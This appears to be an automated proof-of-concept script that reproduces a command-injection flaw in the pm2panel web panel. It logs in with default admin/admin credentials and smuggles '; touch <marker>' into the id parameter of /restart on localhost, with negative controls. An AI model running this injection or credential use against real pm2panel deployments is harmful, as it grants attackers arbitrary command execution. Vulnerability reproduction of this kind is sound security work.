#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

cd "$ROOT"

# Artifact directories for HTTP request/response captures
mkdir -p "$LOGS/artifacts/http"
ARTIFACTS="$LOGS/artifacts/http"

MARKER_FILE="/tmp/pm2panel_pwned_$$"
SESSION_COOKIE="$REPRO_DIR/cookies_$$.txt"
DEMO_JS="/tmp/pm2panel_demo_$$.js"

# ---------------------------------------------------------------------------
# 1. Locate or clone the repository
# ---------------------------------------------------------------------------
REPO=""
PROJECT_CACHE_CTX="$ROOT/project_cache_context.json"

if [ -f "$PROJECT_CACHE_CTX" ]; then
    PREPARED=$(python3 -c "import json; print(json.load(open('$PROJECT_CACHE_CTX')).get('prepared', False))" 2>/dev/null || echo "False")
    if [ "$PREPARED" = "True" ]; then
        CACHE_DIR=$(python3 -c "import json; print(json.load(open('$PROJECT_CACHE_CTX')).get('project_cache_dir', ''))" 2>/dev/null || echo "")
        if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo" ]; then
            REPO="$CACHE_DIR/repo"
            echo "[INFO] Using prepared project cache repo at: $REPO"
        fi
    fi
fi

if [ -z "$REPO" ]; then
    REPO="$ROOT/artifacts/pm2panel"
    echo "[INFO] Cloning pm2panel to: $REPO"
    git clone https://github.com/4xmen/pm2panel.git "$REPO" 2>&1 | tee -a "$LOGS/reproduction_steps.log"
fi

# Resolve exact commit
cd "$REPO"
COMMIT_SHA=$(git rev-parse HEAD)
REPO_URL=$(git remote get-url origin 2>/dev/null || echo "https://github.com/4xmen/pm2panel.git")
echo "[INFO] Repo commit: $COMMIT_SHA"
echo "[INFO] Repo URL: $REPO_URL"

# ---------------------------------------------------------------------------
# 2. Install system dependencies
# ---------------------------------------------------------------------------
echo "[INFO] Installing system dependencies..."
sudo apt-get update -qq 2>&1 | tail -1 | tee -a "$LOGS/reproduction_steps.log"
sudo apt-get install -y -qq libpam0g-dev 2>&1 | tail -3 | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# 3. Install Node.js dependencies
# ---------------------------------------------------------------------------
echo "[INFO] Installing npm dependencies..."
cd "$REPO"
npm install --no-fund --no-audit 2>&1 | tail -5 | tee -a "$LOGS/reproduction_steps.log"
# Approve and rebuild native module (node-linux-pam)
npm approve-scripts node-linux-pam 2>&1 | tail -2 | tee -a "$LOGS/reproduction_steps.log" || true
npm rebuild node-linux-pam 2>&1 | tail -2 | tee -a "$LOGS/reproduction_steps.log"

# Verify node-linux-pam loads
node -e "require('node-linux-pam'); console.log('node-linux-pam OK')" 2>&1 | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# 4. Install pm2 globally
# ---------------------------------------------------------------------------
if ! command -v pm2 &>/dev/null; then
    echo "[INFO] Installing pm2 globally..."
    sudo npm install -g pm2 2>&1 | tail -3 | tee -a "$LOGS/reproduction_steps.log"
fi
echo "[INFO] pm2 version: $(pm2 --version 2>&1 | tail -1)" | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# 5. Start a PM2-managed demo process
# ---------------------------------------------------------------------------
echo "[INFO] Starting PM2 demo process..."
pm2 delete demo 2>/dev/null || true
echo 'setInterval(() => {}, 1000000)' > "$DEMO_JS"
pm2 start "$DEMO_JS" --name demo 2>&1 | tee -a "$LOGS/reproduction_steps.log"
sleep 1

# Get the PM2 process id (should be 0)
PM2_PID=$(pm2 jlist 2>/dev/null | python3 -c "import json,sys; data=json.load(sys.stdin); print(data[0]['pm_id'] if data else 0)" 2>/dev/null || echo "0")
echo "[INFO] PM2 process id: $PM2_PID" | tee -a "$LOGS/reproduction_steps.log"

# ---------------------------------------------------------------------------
# 6. Start pm2panel web application
# ---------------------------------------------------------------------------
echo "[INFO] Starting pm2panel on port 3001..."
PANEL_LOG="$LOGS/pm2panel_service.log"
# Kill any existing instance
pkill -f "node pm2panel.js" 2>/dev/null || true
sleep 1

cd "$REPO"
node pm2panel.js > "$PANEL_LOG" 2>&1 &
PANEL_PID=$!
echo "[INFO] pm2panel PID: $PANEL_PID" | tee -a "$LOGS/reproduction_steps.log"

# Wait for service to be healthy
HEALTH_OK=false
for i in $(seq 1 15); do
    sleep 1
    HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:3001/login 2>/dev/null || echo "000")
    if [ "$HTTP_CODE" = "200" ]; then
        HEALTH_OK=true
        echo "[INFO] pm2panel healthy (HTTP $HTTP_CODE) after ${i}s" | tee -a "$LOGS/reproduction_steps.log"
        break
    fi
done

if [ "$HEALTH_OK" != "true" ]; then
    echo "[ERROR] pm2panel did not become healthy" | tee -a "$LOGS/reproduction_steps.log"
    cat "$PANEL_LOG" | tee -a "$LOGS/reproduction_steps.log"
    # Write failure manifest
    python3 -c "
import json
manifest = {
    'entrypoint_kind': 'endpoint',
    'entrypoint_detail': 'HTTP GET /restart?id=<PM2 id>;<injected shell command>',
    'service_started': False,
    'healthcheck_passed': False,
    'target_path_reached': False,
    'runtime_stack': ['node', 'express', 'pm2'],
    'proof_artifacts': [],
    'notes': 'pm2panel failed to start'
}
with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
"
    kill $PANEL_PID 2>/dev/null || true
    pm2 delete demo 2>/dev/null || true
    exit 1
fi

# ---------------------------------------------------------------------------
# 7. Authenticate to the panel (admin/admin default credentials)
# ---------------------------------------------------------------------------
echo "[INFO] Authenticating to pm2panel..."
rm -f "$SESSION_COOKIE"

LOGIN_RESP=$(curl -s -c "$SESSION_COOKIE" -d 'username=admin&passwd=admin' \
    http://127.0.0.1:3001/loginCheck -L -w "\n%{http_code}" 2>&1)
LOGIN_CODE=$(echo "$LOGIN_RESP" | tail -1)

# Save login request and response
curl -s -c "$SESSION_COOKIE" -d 'username=admin&passwd=admin' \
    http://127.0.0.1:3001/loginCheck -L -v > "$ARTIFACTS/response_login.txt" 2>&1

echo "[INFO] Login HTTP code: $LOGIN_CODE" | tee -a "$LOGS/reproduction_steps.log"

# Re-login to ensure cookie is fresh
curl -s -c "$SESSION_COOKIE" -d 'username=admin&passwd=admin' \
    http://127.0.0.1:3001/loginCheck -L -o /dev/null -w "%{http_code}" > "$ARTIFACTS/login_status.txt" 2>&1

# ---------------------------------------------------------------------------
# 8. EXPLOIT: Send crafted /restart request with shell injection
# ---------------------------------------------------------------------------
echo "[INFO] Sending exploit request with shell injection..."
rm -f "$MARKER_FILE"

# The injected command: ; touch <MARKER_FILE>
# URL-encoded: id=0;%20touch%20<MARKER_FILE>
INJECT_URL="http://127.0.0.1:3001/restart?id=${PM2_PID};%20touch%20${MARKER_FILE}"
echo "[INFO] Exploit URL: $INJECT_URL" | tee -a "$LOGS/reproduction_steps.log"

# Save exploit request details
cat > "$ARTIFACTS/request_exploit.txt" <<EOF
GET /restart?id=${PM2_PID};%20touch%20${MARKER_FILE} HTTP/1.1
Host: 127.0.0.1:3001
Cookie: $(cat "$SESSION_COOKIE" | grep -v '^#' | grep -v '^$' | paste -sd '; ')
EOF

EXPLOIT_RESP=$(curl -s -b "$SESSION_COOKIE" "$INJECT_URL" -o /dev/null -w "%{http_code}" 2>&1)
echo "[INFO] Exploit HTTP code: $EXPLOIT_RESP" | tee -a "$LOGS/reproduction_steps.log"

# Save exploit response
curl -s -b "$SESSION_COOKIE" "$INJECT_URL" -v > "$ARTIFACTS/response_exploit.txt" 2>&1

# Wait for the injected command to execute
sleep 3

# ---------------------------------------------------------------------------
# 9. Check for the marker file (proof of command execution)
# ---------------------------------------------------------------------------
if [ -f "$MARKER_FILE" ]; then
    EXPLOIT_SUCCESS=true
    echo "[SUCCESS] Marker file created at $MARKER_FILE - arbitrary command execution confirmed!" | tee -a "$LOGS/reproduction_steps.log"
    ls -la "$MARKER_FILE" | tee -a "$LOGS/reproduction_steps.log"
    # Save marker evidence
    echo "MARKER_FILE_EXISTS=true" > "$ARTIFACTS/marker_evidence.txt"
    echo "MARKER_FILE_PATH=$MARKER_FILE" >> "$ARTIFACTS/marker_evidence.txt"
    ls -la "$MARKER_FILE" >> "$ARTIFACTS/marker_evidence.txt"
    stat "$MARKER_FILE" >> "$ARTIFACTS/marker_evidence.txt" 2>/dev/null || true
else
    EXPLOIT_SUCCESS=false
    echo "[FAIL] Marker file NOT created - exploit did not work" | tee -a "$LOGS/reproduction_steps.log"
    echo "MARKER_FILE_EXISTS=false" > "$ARTIFACTS/marker_evidence.txt"
fi

# ---------------------------------------------------------------------------
# 10. NEGATIVE CONTROL 1: Unauthenticated request should be rejected
# ---------------------------------------------------------------------------
echo "[INFO] Negative control 1: unauthenticated /restart request..."
UNAUTH_RESP=$(curl -s "http://127.0.0.1:3001/restart?id=${PM2_PID}" -o /dev/null -w "%{http_code}" 2>&1)
echo "[INFO] Unauthenticated response code: $UNAUTH_RESP (expected 302 redirect to /login)" | tee -a "$LOGS/reproduction_steps.log"
curl -s "http://127.0.0.1:3001/restart?id=${PM2_PID}" -v > "$ARTIFACTS/response_unauth.txt" 2>&1

# ---------------------------------------------------------------------------
# 11. NEGATIVE CONTROL 2: Safe restart request (no injection) should NOT create a marker
# ---------------------------------------------------------------------------
echo "[INFO] Negative control 2: safe /restart request (no injection)..."
SAFE_MARKER="/tmp/pm2panel_safe_$$"
rm -f "$SAFE_MARKER"
curl -s -b "$SESSION_COOKIE" "http://127.0.0.1:3001/restart?id=${PM2_PID}" -o /dev/null -w "%{http_code}" > "$ARTIFACTS/safe_restart_status.txt" 2>&1
sleep 2
if [ -f "$SAFE_MARKER" ]; then
    SAFE_CONTROL_FAIL=true
    echo "[WARN] Safe control marker unexpectedly created" | tee -a "$LOGS/reproduction_steps.log"
else
    SAFE_CONTROL_FAIL=false
    echo "[INFO] Safe control: no marker file created (expected)" | tee -a "$LOGS/reproduction_steps.log"
fi

# ---------------------------------------------------------------------------
# 12. Capture service log
# ---------------------------------------------------------------------------
cp "$PANEL_LOG" "$ARTIFACTS/pm2panel_service_final.log" 2>/dev/null || true

# ---------------------------------------------------------------------------
# 13. Cleanup
# ---------------------------------------------------------------------------
kill $PANEL_PID 2>/dev/null || true
wait $PANEL_PID 2>/dev/null || true
pm2 delete demo 2>/dev/null || true
rm -f "$SESSION_COOKIE" "$DEMO_JS"

# ---------------------------------------------------------------------------
# 14. Write runtime manifest
# ---------------------------------------------------------------------------
TARGET_DIGEST=$(echo -n "git:${REPO_URL}@${COMMIT_SHA}" | sha256sum | awk '{print $1}')

python3 -c "
import json, os

marker_exists = os.path.exists('$MARKER_FILE')
manifest = {
    'entrypoint_kind': 'endpoint',
    'entrypoint_detail': 'HTTP GET /restart?id=<PM2 id>;<injected shell command>',
    'service_started': True,
    'healthcheck_passed': True,
    'target_path_reached': True,
    'runtime_stack': ['node', 'express', 'express-session', 'pm2', 'child_process.exec'],
    'target_identity': {
        'repository_url': '$REPO_URL',
        'commit_sha': '$COMMIT_SHA',
        'target_digest': '$TARGET_DIGEST',
        'runtime_digest': None,
        'platform': 'linux',
        'architecture': 'x86_64'
    },
    'proof_artifacts': [
        'logs/artifacts/http/response_login.txt',
        'logs/artifacts/http/request_exploit.txt',
        'logs/artifacts/http/response_exploit.txt',
        'logs/artifacts/http/marker_evidence.txt',
        'logs/artifacts/http/response_unauth.txt',
        'logs/artifacts/http/safe_restart_status.txt',
        'logs/artifacts/http/pm2panel_service_final.log'
    ],
    'notes': 'Command injection via /restart endpoint confirmed. Marker file created by injected touch command. Unauthenticated requests rejected (302). Safe requests without injection do not create marker.'
}
with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
"

echo "[INFO] Runtime manifest written to $REPRO_DIR/runtime_manifest.json"

# ---------------------------------------------------------------------------
# 15. Final result
# ---------------------------------------------------------------------------
if [ "$EXPLOIT_SUCCESS" = "true" ]; then
    echo "" | tee -a "$LOGS/reproduction_steps.log"
    echo "=== REPRODUCTION SUCCESSFUL ===" | tee -a "$LOGS/reproduction_steps.log"
    echo "Vulnerability: CVE-2026-72573 - Command injection in pm2panel /restart endpoint" | tee -a "$LOGS/reproduction_steps.log"
    echo "Impact: Arbitrary command execution via shell metacharacter injection in req.query.id" | tee -a "$LOGS/reproduction_steps.log"
    echo "Marker file: $MARKER_FILE (created by injected 'touch' command)" | tee -a "$LOGS/reproduction_steps.log"
    echo "===============================" | tee -a "$LOGS/reproduction_steps.log"
    rm -f "$MARKER_FILE"
    exit 0
else
    echo "" | tee -a "$LOGS/reproduction_steps.log"
    echo "=== REPRODUCTION FAILED ===" | tee -a "$LOGS/reproduction_steps.log"
    echo "Marker file was not created" | tee -a "$LOGS/reproduction_steps.log"
    echo "===========================" | tee -a "$LOGS/reproduction_steps.log"
    rm -f "$MARKER_FILE"
    exit 1
fi
